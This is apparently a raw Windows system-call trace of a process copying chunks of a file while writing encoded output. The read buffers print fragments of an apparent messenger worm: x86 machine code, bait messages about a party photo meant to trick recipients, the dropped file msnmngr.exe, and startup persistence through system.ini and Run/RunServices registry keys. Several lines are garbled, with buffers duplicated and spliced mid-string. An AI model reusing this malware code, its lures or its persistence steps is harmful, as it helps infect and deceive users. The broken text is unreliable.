"E\350PV\377\25\270\363\1@j\0\215E\360Ph\370\0\0\0\215\205\264\376\377\377PV\377\25\274\363\1@\201}\360\370\0\0\0\17\205\252\0\0\0j\1j\0\17\267\205\272\376\377\377H\3\300\3\300\3\300\215\4\200PV\377\25\270\363\1@j\0\215E\360Pj(\215\205\214\376\377\377PV\377\25\274\363\1@\213\205\240\376\377\377\3\205\234\376\377\377\211E\354j\0V\377\25\300\363\1@\213\370+}\354\205\377vMj\0j\0\213E\354PV\377\25\270\363\1@\213\307\350\206\255\376\377\213U\370\211\2j\0\215E\360PW\213E\370\213\0PV\377\25\274\363\1@;}\360u\20\263\1\213E\364\2118V\377\25\304\363\1@\353"V\377\25\304\363\1@\353\31V\377\25\304\363\1@\353\20V\377\25\304\363\1@\353\7V\377\25\304\363\1@3\300ZYYd\211\20h\7\177\1@\215E\374\350\205\311\376\377\303\351\377\302\376\377\353\360\213\303_^[\213\345]\303S\213\330\350@\261\376\377\270\11\0\0\0\350^\261\376\377\243\340\366\1@\241\340\366\1@\203\370\11\17\207\271\0\0\0\377$\205<\177\1@d\177\1@r\177\1@\200\177\1@\216\177\1@\234\177\1@\252\177\1@\270\177\1@\306\177\1@\324\177\1@\342\177\1@\213\303\272\370\177\1@\350h\311\376\377[\303\213\303\272,\200\1@\350Z\311\376\377[\303\213\303\272p\200\1@\350L\311\376\377[\303\213\303\272\244\200\1@\350>\311\376\377[\303\213\303\272\360\200\1@\3500\311\376\377[\303\213\303\272 \201\1@\350"\311\376\377[\303\213\303\272T\201\1@\350\24\311\376\377[\303\213\303\272\240\201\1@\350\6\311\376\377[\303\213\303\272\10\202\1@\350\370\310\376\377[\303\213\303\272\204\202\1@\350\352\310\376\377[\303\377\377\377\377", ) , ) == 0x0
 01073  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "k\366\362'\331\253;\257\232\351\347\317l\216\35\34\254\265\23\370\327\336_;x\265\236y\17|\244\304\363\364\372\226+\232\302\232\35\226\326@\334L\3\210\305B%B\317&\325\275\1~n\2403\360i\31\254z\304)\315\242\236|\223\225\360\372\32C\233\25\\22\222\35\313?<-\241\0h\363|u\255\253\361$\320>\237\275\202*\251\225pD\247+u(H\272A\355\374\311IA\357\257{\232\231A\243t\35\255\316\334\235\1\252]\261ey\35o\262d\326\261e\322"\3709l\345\330\220G\300\37\351xy\243Q\263\340k\325\377\264\304\207\306[\361\32p?z\10\216\374e]\316\23\354\27r@GPR\202\35@ G6d\276\364WK[\22\330\331\371\256\334\257e\6\376\327)u;\201qDS\12 \365\337\273\244\223F\223\335\344\225\240bq~FE\353\277\271\33$-\6\254h\14}\205\20f\12As\255@\271\27P,\251\360\207\0L\261\242\330\301\233\344\311u\310S\216\251B\341~^\226\204%#9\37\270\5\254-\325\332fS\212R\343\17'BK|\246\30\33\304\355O\242_%\3622\15\362F\221lr\22P}5\31\243\266w\2436)\315\270\352HR\304\177\230\0\370\26J\5\2105_-\32lT\362\240+v\340\374ZxE\10\306\325c\242\24qVy\310\3\211\266\363K\301Vbf\324\362\177\346B\205\1\245\353\360H\224\226mB\343iW\255\232\251/>Y\35\221\307[\30\227\35T\37@\3\373\261\236Jv=\342\257\25$,\20\312B\360\370\231@\374@`/\372$\266\2105k\231\321\341\276\332\350-IC\256\203\7\236\214\260\364\3045\331\314\59\200\227", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \3709l\345\330\220G\300\37\351xy\243Q\263\340k\325\377\264\304\207\306[\361\32p?z\10\216\374e]\316\23\354\27r@GPR\202\35@ G6d\276\364WK[\22\330\331\371\256\334\257e\6\376\327)u;\201qDS\12 \365\337\273\244\223F\223\335\344\225\240bq~FE\353\277\271\33$-\6\254h\14}\205\20f\12As\255@\271\27P,\251\360\207\0L\261\242\330\301\233\344\311u\310S\216\251B\341~^\226\204%#9\37\270\5\254-\325\332fS\212R\343\17'BK|\246\30\33\304\355O\242_%\3622\15\362F\221lr\22P}5\31\243\266w\2436)\315\270\352HR\304\177\230\0\370\26J\5\2105_-\32lT\362\240+v\340\374ZxE\10\306\325c\242\24qVy\310\3\211\266\363K\301Vbf\324\362\177\346B\205\1\245\353\360263\375\336\262x@vT~w\361$\11\312\362\334s\316\223:\25\243\346\207>H\224\226mB\343iW\255\232\251/>Y\35\221\307[\30\227\35T\37@\3\373\261\236Jv=\342\257\25$,\20\312B\360\370\231@\374@`/\372$\266\2105k\231\321\341\276\332\350-IC\256\203\7\236\214\260\364\3045\331\314\59\200\227", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01074  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\377\377\377\377p\0\0\0I went to a party last night, i got so wasted, hehe, here is a pic of me trying to do that Cloth trick on tables\0\0\0\0\377\377\377\377(\0\0\0You goto see this pic, its brilliant ^_^\0\0\0\0U\213\3543\300Uh\1\203\1@d\3770d\211 \270h<\2@\3509\337\376\377\270l<\2@\350/\337\376\377\270p<\2@\350%\337\376\377\270t<\2@\350\33\337\376\377\270x<\2@\350\221\305\376\3773\300ZYYd\211\20h\10\203\1@\303\351\376\276\376\377\353\370]\303\213\300\33\0\0\0\24\203\1@\0\0\0\0\0\0\0\0\0\220\1@Pc\0@\0\0\0\0\0\0\0\0\230\220\1@Xg\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\254\220\1@P\314\0@4\221\1@\230\325\0@D\221\1@T.\1@\0\0\0\0\0\0\0\0\360\221\1@8/\1@\370\221\1@\324>\1@\214\222\1@\244?\1@\224\222\1@@G\1@\0\0\0\0\0\0\0\0\234\222\1@4\\1@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\230\223\1@\260j\1@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\260\202\1@\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01075  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\374\304\30j=qi\14w\20\225\313\315\333\203eI\364\4>b?Yt\373\256\257x\37HxUb\272M\345\333\210C\355$w\32Q\354B\267\0\321h\342n`/\316\222\322P`\352X\336b\336v\224r(^'\222,2\345\17\2469\266X\353\222\263B\223 \312f\21\373\11\240c\13\304\215\324\257\327\364n\344b\233\7\217\10(r\200\246\K5\11Z(i\30s\341X\235\314.\355\233\225\3508,A\371\346\360\12\327fGXbq\23\344mL6e\12)\214\211\223\361=>\336 $\240#\343\11\21\4\364)C@\272R\\306\325D\214\31/\240vx{\261\6\355d0\367+\250\26\25\2573\3537$\364\362N|\331\301\301.|\3524R\274\13\271`w\25\14\320\233\252\353^\365\33\233.(\363\2337\275\350\332\23\2247\251\34\230\336\265'F\272]xG:\335Zi\354\264A\313 X\207\35\24\245(\15;Lr\365g\13v\354\257\254\277\377\215\236\321\6\333\240\335\263\314\362\347\376v\273\263\213Tl\212QA\3268d\200\360n\367/\323P\347$\244\241\27\336\253\313\305\314\267r\202-}\311z\245\30w\202\204\214\307\347m\27"\34)\32\4t]'\7\300\233y[.\362VR\35\240b\301O\24m\224\31\14\336y\257\335T\10\240SU<\201\332\267\24v\202u9\237\301xU\373\261$\355\356\261\1\260|\214#\241=\316/ \234\16\351xH\244\256"\225\234\313\247\260\247(\2230XF\225/*\270\355\362\200{\302\233\37nP\307J2GB\354\365\211\2415\254Ilrg\360\275\17g\330\357V\23\34\152\256yR\36\331h5\327\365s\305\362\235\303xdN\334`_&#\347\336\200\200e_ge"\311q\241is5\3\33\34-9\256\365\300", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \34)\32\4t]'\7\300\233y[.\362VR\35\240b\301O\24m\224\31\14\336y\257\335T\10\240SU<\201\332\267\24v\202u9\237\301xU\373\261$\355\356\261\1\260|\214#\241=\316/ \234\16\351xH\244\256 (92, 0, 0, 0, "\374\304\30j=qi\14w\20\225\313\315\333\203eI\364\4>b?Yt\373\256\257x\37HxUb\272M\345\333\210C\355$w\32Q\354B\267\0\321h\342n`/\316\222\322P`\352X\336b\336v\224r(^'\222,2\345\17\2469\266X\353\222\263B\223 \312f\21\373\11\240c\13\304\215\324\257\327\364n\344b\233\7\217\10(r\200\246\K5\11Z(i\30s\341X\235\314.\355\233\225\3508,A\371\346\360\12\327fGXbq\23\344mL6e\12)\214\211\223\361=>\336 $\240#\343\11\21\4\364)C@\272R\\306\325D\214\31/\240vx{\261\6\355d0\367+\250\26\25\2573\3537$\364\362N|\331\301\301.|\3524R\274\13\271`w\25\14\320\233\252\353^\365\33\233.(\363\2337\275\350\332\23\2247\251\34\230\336\265'F\272]xG:\335Zi\354\264A\313 X\207\35\24\245(\15;Lr\365g\13v\354\257\254\277\377\215\236\321\6\333\240\335\263\314\362\347\376v\273\263\213Tl\212QA\3268d\200\360n\367/\323P\347$\244\241\27\336\253\313\305\314\267r\202-}\311z\245\30w\202\204\214\307\347m\27"\34)\32\4t]'\7\300\233y[.\362VR\35\240b\301O\24m\224\31\14\336y\257\335T\10\240SU<\201\332\267\24v\202u9\237\301xU\373\261$\355\356\261\1\260|\214#\241=\316/ \234\16\351xH\244\256"\225\234\313\247\260\247(\2230XF\225/*\270\355\362\200{\302\233\37nP\307J2GB\354\365\211\2415\254Ilrg\360\275\17g\330\357V\23\34\152\256yR\36\331h5\327\365s\305\362\235\303xdN\334`_&#\347\336\200\200e_ge"\311q\241is5\3\33\34-9\256\365\300", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \311q\241is5\3\33\34-9\256\365\300", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01076  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\222\1@d\3770d\211 \203-\320\362\1@\1sa\350\375\253\377\377\270\314>\1@\350s\316\376\377\262\1\241\10y\0@\350o4\377\377\213\320\205\322t\3\203\352\324\270\310\362\1@\350\334\317\376\377\262\1\241\242\1@\350\210\241\377\377\243\330\362\1@\262\1\241\2440\1@\350\357\246\377\377\243\324\362\1@\262\1\241\2440\1@\350\336\246\377\377\243\340\362\1@3\300ZYYd\211\20h\210\222\1@\303\351~\257\376\377\353\370]\303\213\300\203-\374\362\1@\1\303\203-\0\363\1@\1\303\203-\10\363\1@\1\17\203\355\0\0\0\3502\306\377\377h \363\1@\350(\323\376\377h8\363\1@\350\36\323\376\377j\7\350\347\323\376\377\243\20\363\1@j\5\350\333\323\376\377\243\24\363\1@j\15\350\317\323\376\377\243\30\363\1@h\0\177\0\0j\0\350>\324\376\377\243\34\363\1@\350`\306\377\377f\2710\0\262\1\241\274G\1@\350\204\265\377\377\243P\363\1@f\271\20\0\262\1\241\274G\1@\350o\265\377\377\243T\363\1@f\271\20\0\262\1\241$H\1@\350Z\265\377\377\243X\363\1@\262\1\241\334Z\1@\350\361\307\377\377\243`\363\1@\262\1\241\2440\1@\350\364\245\377\377\243D\255\1@\262\1\241\2440\1@\350\343\245\377\377\243\\363\1@\271lM\1@\272|M\1@\241\210G\1@\350j\242\377\377\271@O\1@\272PO\1@\241\240G\1@\350V\242\377\377\303\220\203-d\363\1@\1sK\350\326\314\377\377\270\350f\1@\213\25,\260\1@\211\2\241\370\256\1@\307\0Xi\1@\270\200a\1@\213\25T\260\1@\211\2\241\324\256\1@\2008\0u\27\241\270\257\1@\213\0\243p\363\1@\241\270\257\1@\307\04j\1@\303\215@\0U\213\354\271", ) , ) == 0x0
 01077  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "2\211\236c\315\333\20\234sN\202\7\3|\273Fbv\21h\215\263\223[0\230\234\276\17~\332(\1\364\0I\227\35E\247}\336\203\332d\260!\27\320\314OeK]\7i"I\354\227\220\346\323\35\225u\11D\200zYX\363l\6\20\201\376\351\341i.\5\375\373\352<\3305\304`^\377|V\270*\202pe\3037\306\14C\316F\30\341\225\365\301\226"\372^\225}\355\356\205\256\356k\204\355\14vR\225\210\221\203/\320\220\20\236\2\251\361\363;R\277`\333\220\231>\246\267\227\21\323\373\22\356\17}\217`\327\346\10\233j\337f\202\375\251\330`m,\247\271u\234f\242zsI\331\36\276\17\350\314\11\347\244\230\207\16\340J\227ie\242Y\230U~\177\213o\10\331\22Ei\230\300t\13\267(A0\374\207\20\300\225\311 \216\17\305z\14f\3c[\2e\241yL\2\326@{\321\370\254\26\343\216Er\234\373b\245\204\314\305\253a\324\315\24D_\273\260\317\360\247\2\272\2532|\26:\371\12.\324.m\316\2106\25R\17\210\220\23\366f&\253\23\311\222w\341\203^D\225\337h\22\10b\217\372\]E\356\242~s*\213/Q\13\265\275\24\24Y\273\362G\302t\220\226d\12\201$\21[?6\276\3\31\221\2302\313\31\35\207H{\3306\247\342\33\233V\210\342!\313\5\364\13#9\2369"\334\217\327\200\177\327%w\3268"\257\320\250~\260MJO~\314\202\33\26\4(\254\0\372\327mq\334\320\251\334\36\207v\10n\227D\307\200"\257X\201UP\257%\305\256\237t|F\213\342\31\270:0s\237\11\360\241\207\240\256P\271\304\355\345\10\24\237\\352\235\327\351b\32\0\15\270\330\321\244\3\260IW\10\275\276\260\3626>\240\365\204\342\3575\351\354\25D\233g\346\302", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) I\354\227\220\346\323\35\225u\11D\200zYX\363l\6\20\201\376\351\341i.\5\375\373\352<\3305\304`^\377|V\270*\202pe\3037\306\14C\316F\30\341\225\365\301\226 (92, 0, 0, 0, "2\211\236c\315\333\20\234sN\202\7\3|\273Fbv\21h\215\263\223[0\230\234\276\17~\332(\1\364\0I\227\35E\247}\336\203\332d\260!\27\320\314OeK]\7i"I\354\227\220\346\323\35\225u\11D\200zYX\363l\6\20\201\376\351\341i.\5\375\373\352<\3305\304`^\377|V\270*\202pe\3037\306\14C\316F\30\341\225\365\301\226"\372^\225}\355\356\205\256\356k\204\355\14vR\225\210\221\203/\320\220\20\236\2\251\361\363;R\277`\333\220\231>\246\267\227\21\323\373\22\356\17}\217`\327\346\10\233j\337f\202\375\251\330`m,\247\271u\234f\242zsI\331\36\276\17\350\314\11\347\244\230\207\16\340J\227ie\242Y\230U~\177\213o\10\331\22Ei\230\300t\13\267(A0\374\207\20\300\225\311 \216\17\305z\14f\3c[\2e\241yL\2\326@{\321\370\254\26\343\216Er\234\373b\245\204\314\305\253a\324\315\24D_\273\260\317\360\247\2\272\2532|\26:\371\12.\324.m\316\2106\25R\17\210\220\23\366f&\253\23\311\222w\341\203^D\225\337h\22\10b\217\372\]E\356\242~s*\213/Q\13\265\275\24\24Y\273\362G\302t\220\226d\12\201$\21[?6\276\3\31\221\2302\313\31\35\207H{\3306\247\342\33\233V\210\342!\313\5\364\13#9\2369"\334\217\327\200\177\327%w\3268"\257\320\250~\260MJO~\314\202\33\26\4(\254\0\372\327mq\334\320\251\334\36\207v\10n\227D\307\200"\257X\201UP\257%\305\256\237t|F\213\342\31\270:0s\237\11\360\241\207\240\256P\271\304\355\345\10\24\237\\352\235\327\351b\32\0\15\270\330\321\244\3\260IW\10\275\276\260\3626>\240\365\204\342\3575\351\354\25D\233g\346\302", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \334\217\327\200\177\327%w\3268 (92, 0, 0, 0, "2\211\236c\315\333\20\234sN\202\7\3|\273Fbv\21h\215\263\223[0\230\234\276\17~\332(\1\364\0I\227\35E\247}\336\203\332d\260!\27\320\314OeK]\7i"I\354\227\220\346\323\35\225u\11D\200zYX\363l\6\20\201\376\351\341i.\5\375\373\352<\3305\304`^\377|V\270*\202pe\3037\306\14C\316F\30\341\225\365\301\226"\372^\225}\355\356\205\256\356k\204\355\14vR\225\210\221\203/\320\220\20\236\2\251\361\363;R\277`\333\220\231>\246\267\227\21\323\373\22\356\17}\217`\327\346\10\233j\337f\202\375\251\330`m,\247\271u\234f\242zsI\331\36\276\17\350\314\11\347\244\230\207\16\340J\227ie\242Y\230U~\177\213o\10\331\22Ei\230\300t\13\267(A0\374\207\20\300\225\311 \216\17\305z\14f\3c[\2e\241yL\2\326@{\321\370\254\26\343\216Er\234\373b\245\204\314\305\253a\324\315\24D_\273\260\317\360\247\2\272\2532|\26:\371\12.\324.m\316\2106\25R\17\210\220\23\366f&\253\23\311\222w\341\203^D\225\337h\22\10b\217\372\]E\356\242~s*\213/Q\13\265\275\24\24Y\273\362G\302t\220\226d\12\201$\21[?6\276\3\31\221\2302\313\31\35\207H{\3306\247\342\33\233V\210\342!\313\5\364\13#9\2369"\334\217\327\200\177\327%w\3268"\257\320\250~\260MJO~\314\202\33\26\4(\254\0\372\327mq\334\320\251\334\36\207v\10n\227D\307\200"\257X\201UP\257%\305\256\237t|F\213\342\31\270:0s\237\11\360\241\207\240\256P\271\304\355\345\10\24\237\\352\235\327\351b\32\0\15\270\330\321\244\3\260IW\10\275\276\260\3626>\240\365\204\342\3575\351\354\25D\233g\346\302", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \257X\201UP\257%\305\256\237t|F\213\342\31\270:0s\237\11\360\241\207\240\256P\271\304\355\345\10\24\237\\352\235\327\351b\32\0\15\270\330\321\244\3\260IW\10\275\276\260\3626>\240\365\204\342\3575\351\354\25D\233g\346\302", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01078  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\330\241\34;\2@\350\335\326\377\377\213U\330\271L\371\1@\241L\371\1@\350\17\324\376\377\270d;\2@3\311\272\4\0\0\0\350R\237\376\3773\300\243d;\2@\276\245\371\1@\277$;\2@\307E\354\23\372\1@\273\344\366\1@\270X\371\1@3\311\272\4\0\0\0\350$\237\376\377\200>\0\17\2040\4\0\0\213\7\213\320\270P\371\1@\350\1\271\376\377\270P\371\1@\350#\267\376\377\213\320\213\17\213\306\350t\227\376\377\3775P;\2@\3775L;\2@\3775X;\2@\3775T;\2@\271P\371\1@\213\25L\371\1@\241P\371\1@\350w\323\376\377\270T\371\1@\213U\354\271\201\0\0\0\350-\264\376\377\3775P;\2@\3775L;\2@\3775X;\2@\3775T;\2@\271T\371\1@\213\25L\371\1@\241T\371\1@\3508\323\376\3773\300\243\\371\1@\241P\371\1@\350C\266\376\377\213\320\270\\371\1@\350w\330\377\377\211\3\270X\371\1@\213\25\\371\1@\350Q\270\376\377\203;\0\17\204\214\3\0\0\241X\371\1@\243H>\2@\203=H>\2@\0t\17\241H>\2@\203\350\4\213\0\243H>\2@\270X\371\1@\350H\266\376\377\213\320\213\3\213\15H>\2@\350\225\226\376\377\3775P;\2@\3775L;\2@\3775X;\2@\3775T;\2@\271X\371\1@\213\25L\371\1@\241X\371\1@\350\230\322\376\377\215U\324\241X\371\1@\350\337\325\377\377\213U\324\270X\371\1@\350*\261\376\377\200=];\2@\0t)\241X\371\1@P\215E\314P\350~\323\377\377\213E\314P\215E\320P\3501\324\377\377\213U\320\270X\371\1@\350\370\260\376\377\200=\;\2@\0tt\241X\371\1@\205\300t\5\203\350", ) , ) == 0x0
 01079  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\200\\301`\34\203\277QWw\266\256*\331\311?2)]-6\203f\201:-\3005\326\20\213\333=\325m\35\31\307-TX\277\342\16\264s\36\16\345:u\375\306\303u\3123\301\241\216\337\244\31\26\267\236T\327\37\213\360\244\37\317M\264r\224E\6KU\302>Pp\31\215\332 \201c \303\261\331\353`;\204\373\327g.\34\322/\367/\322\246D\354\27\321\266\6\341\346\342P\304\315b\305\222\326\310\256\17X\342\324\231k\177x}\303\264\226\342\3634\326\200\256k\272>\327\1\272f\342\301*\237\20\15\271EEi\200ML?\30\356\234@7\314)L\364\226\262\340\366W\21\331\275\207\254\27\211>\314Gf\205\263\247\213\201\32\352K\373\371\216\33\225\344\24\11\250J{\17/\225xx\277\3\203r\214;\202\215(\377[)\200\253K\313mv\311p\225eiz\362\230\325\252\261\336\324` \325\27\343\232M8\200ZB\241\366\266\264\374\12+\33r\23309\323\354\250\206\245X\207\113)\305\12\5\\201EkknM\275\366\27D$(c[mc\32\302\131\340F\345\27MXU\366\270\265\371`\10\337VP\211\226\210\23\372\355\39\307\275\22s#A\372m\330\1\202\224\263\252\10\247R\355\214m\37\332\24\221\336@\222\270\214H\321\217\237\346\301s6\355\302\305\243\265@R\206\232\262\256\315\257\322?x \272:\262\243\347\310\304\3763\310\300w`\337\27\337\267h\30\3670\233\235\312\351\21tBhPJ\226k\324\267\270\213{]\272R?\327&\300H.\250\363Sd\243\6\2\27}\347%\272\233\376\202e\231J"\33\352EBB\326\221\25\300\203/qLi\207\33&P\254\26]&\31,*\215\334\240\372\244x!\27\204b\213\362H\364\3\213\237\10\257**\336;\202\251P", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \33\352EBB\326\221\25\300\203/qLi\207\33&P\254\26]&\31,*\215\334\240\372\244x!\27\204b\213\362H\364\3\213\237\10\257**\336;\202\251P", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01080  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "=P>\2@\0t\17\241P>\2@\203\350\4\213\0\243P>\2@j\0\270X\371\1@\350}\263\376\377\213\320\213\15P>\2@\270\370\366\1@\350G\232\376\377\350"\223\376\377\203=\340\366\1@\0v\35j\0\213\25\334\366\1@\213\15\340\366\1@\270\370\366\1@\350!\232\376\377\350\374\222\376\377\270\370\366\1@\3502\232\376\377\350\355\222\376\377j\1j\0\241T\371\1@\350\313\262\376\377P\241\314\365\1@\350\300\262\376\377Ph\364\233\1@j\0\350K\322\377\377\377\5d;\2@\203\303\4\201E\354\201\0\0\0\203\307\10\203\306\5\203=d;\2@\5\17\205\223\373\377\3773\300ZYYd\211\20h\332\232\1@\215E\274\272\14\0\0\0\350\326\255\376\377\303\351,\247\376\377\353\353_^[\350\256\254\376\377\0\0\377\377\377\377\14\0\0\0\msnmngr.exe\0\0\0\0system.ini\0\0Explorer.exe msnmngr.exe\0\0\0\0shell\0\0\0boot\0\0\0\0\377\377\377\377-\0\0\0Software\Microsoft\Windows\CurrentVersion\Run\0\0\0\377\377\377\377\14\0\0\0\msnmgnr.exe\0\0\0\0\377\377\377\377\7\0\0\0msnmgnr\0\377\377\377\3775\0\0\0Software\Microsoft\Windows\CurrentVersion\RunServices\0\0\0STR\0\377\377\377\377\1\0\0\0\\0\0\0\377\377\377\377\4\0\0\0.exe\0\0\0\0", ) \223\376\377\203=\340\366\1@\0v\35j\0\213\25\334\366\1@\213\15\340\366\1@\270\370\366\1@\350!\232\376\377\350\374\222\376\377\270\370\366\1@\3502\232\376\377\350\355\222\376\377j\1j\0\241T\371\1@\350\313\262\376\377P\241\314\365\1@\350\300\262\376\377Ph\364\233\1@j\0\350K\322\377\377\377\5d;\2@\203\303\4\201E\354\201\0\0\0\203\307\10\203\306\5\203=d;\2@\5\17\205\223\373\377\3773\300ZYYd\211\20h\332\232\1@\215E\274\272\14\0\0\0\350\326\255\376\377\303\351,\247\376\377\353\353_^[\350\256\254\376\377\0\0\377\377\377\377\14\0\0\0\msnmngr.exe\0\0\0\0system.ini\0\0Explorer.exe msnmngr.exe\0\0\0\0shell\0\0\0boot\0\0\0\0\377\377\377\377-\0\0\0Software\Microsoft\Windows\CurrentVersion\Run\0\0\0\377\377\377\377\14\0\0\0\msnmgnr.exe\0\0\0\0\377\377\377\377\7\0\0\0msnmgnr\0\377\377\377\3775\0\0\0Software\Microsoft\Windows\CurrentVersion\RunServices\0\0\0STR\0\377\377\377\377\1\0\0\0\\0\0\0\377\377\377\377\4\0\0\0.exe\0\0\0\0", ) == 0x0
 01081  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\35\17\245\303\16\211\34\245\225\31E\3d}\207\364\2204\2749\200\271H\345\14\312\213\207\10\212\262.\7*\362\0\220\267\374\217\30X\6j|\270\311;\215\334\226>5\335`\177\22\213S\324\376\354@\23\7\314\373\3\0H\377HdS>PQf\366\300O\23\242\317jRw\202\273\31xkb#\357\241\242\374M.\273\263\33"\226\206\243\274r\7\266\4\\317\263zTJ|ul\324$\34+\375&\343\261\230\361\326PiAX|\212\232B\272\237{\330\313>\347l\267\31\204d\17I-\20\240\215\3\350\202\357u\177\212\357\376tN\333y\5\262\33\2347=\235\24\2760\221(\233\342\13{\217\263\270\24\337\241a\2063^\10Q\263\253\216\377\355\341m\3757\320\277\221\234\257;\241L%\24\274w\365\246\321\242\210\312\350\370\257\326\355\326\255j\320daG\327\365\213\260\313\232\314\34\215B\251\1\310SDZ7\26\221:F\376SZ0\256\351\345\361Dd%\25\320\33\311\345\370\237&\206\273\252\177\232\304\78*-\215\246jV\231j\0a\371\203\362!\234\341\352\376Z\24q=\270,\331\257\313\345I\265\366\375X\314T\326\265O\241\3212\376\205\5\331\265\210\327\36\16\373\13\342\202\236d|\13K\272\345\0\3hU%\373\237\1\273\306NeO\334\264%\33\2365\207\6\343\225;\304\363\317\277b\11\373\376\376+\323\177\373\2bA\221\364>\241\376\222[i>\3461\251b\251\243\11\261_\314>\251\336\\35joj\236TY\3673\34\354!`oK\216\16\226\246G\17\354\350\363\376\206h\263\361\14J\342\2479\31\230,\225\244\354\341\23\322E\354\364\202\330w\245\12\246\10\361\15Ti\277v\262B\217c\362I?\22u\214\246\264\356\340\317\353F\20\263\205\212\34u\31\177H\275F\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \226\206\243\274r\7\266\4\\317\263zTJ|ul\324$\34+\375&\343\261\230\361\326PiAX|\212\232B\272\237{\330\313>\347l\267\31\204d\17I-\20\240\215\3\350\202\357u\177\212\357\376tN\333y\5\262\33\2347=\235\24\2760\221(\233\342\13{\217\263\270\24\337\241a\2063^\10Q\263\253\216\377\355\341m\3757\320\277\221\234\257;\241L%\24\274w\365\246\321\242\210\312\350\370\257\326\355\326\255j\320daG\327\365\213\260\313\232\314\34\215B\251\1\310SDZ7\26\221:F\376SZ0\256\351\345\361Dd%\25\320\33\311\345\370\237&\206\273\252\177\232\304\78*-\215\246jV\231j\0a\371\203\362!\234\341\352\376Z\24q=\270,\331\257\313\345I\265\366\375X\314T\326\265O\241\3212\376\205\5\331\265\210\327\36\16\373\13\342\202\236d|\13K\272\345\0\3hU%\373\237\1\273\306NeO\334\264%\33\2365\207\6\343\225;\304\363\317\277b\11\373\376\376+\323\177\373\2bA\221\364>\241\376\222[i>\3461\251b\251\243\11\261_\314>\251\336\\35joj\236TY\3673\34\354!`oK\216\16\226\246G\17\354\350\363\376\206h\263\361\14J\342\2479\31\230,\225\244\354\341\23\322E\354\364\202\330w\245\12\246\10\361\15Ti\277v\262B\217c\362I?\22u\214\246\264\356\340\317\353F\20\263\205\212\34u\31\177H\275F\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01082  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\210\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\220\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\230\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\240\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\260\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\320\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\00\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\1\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
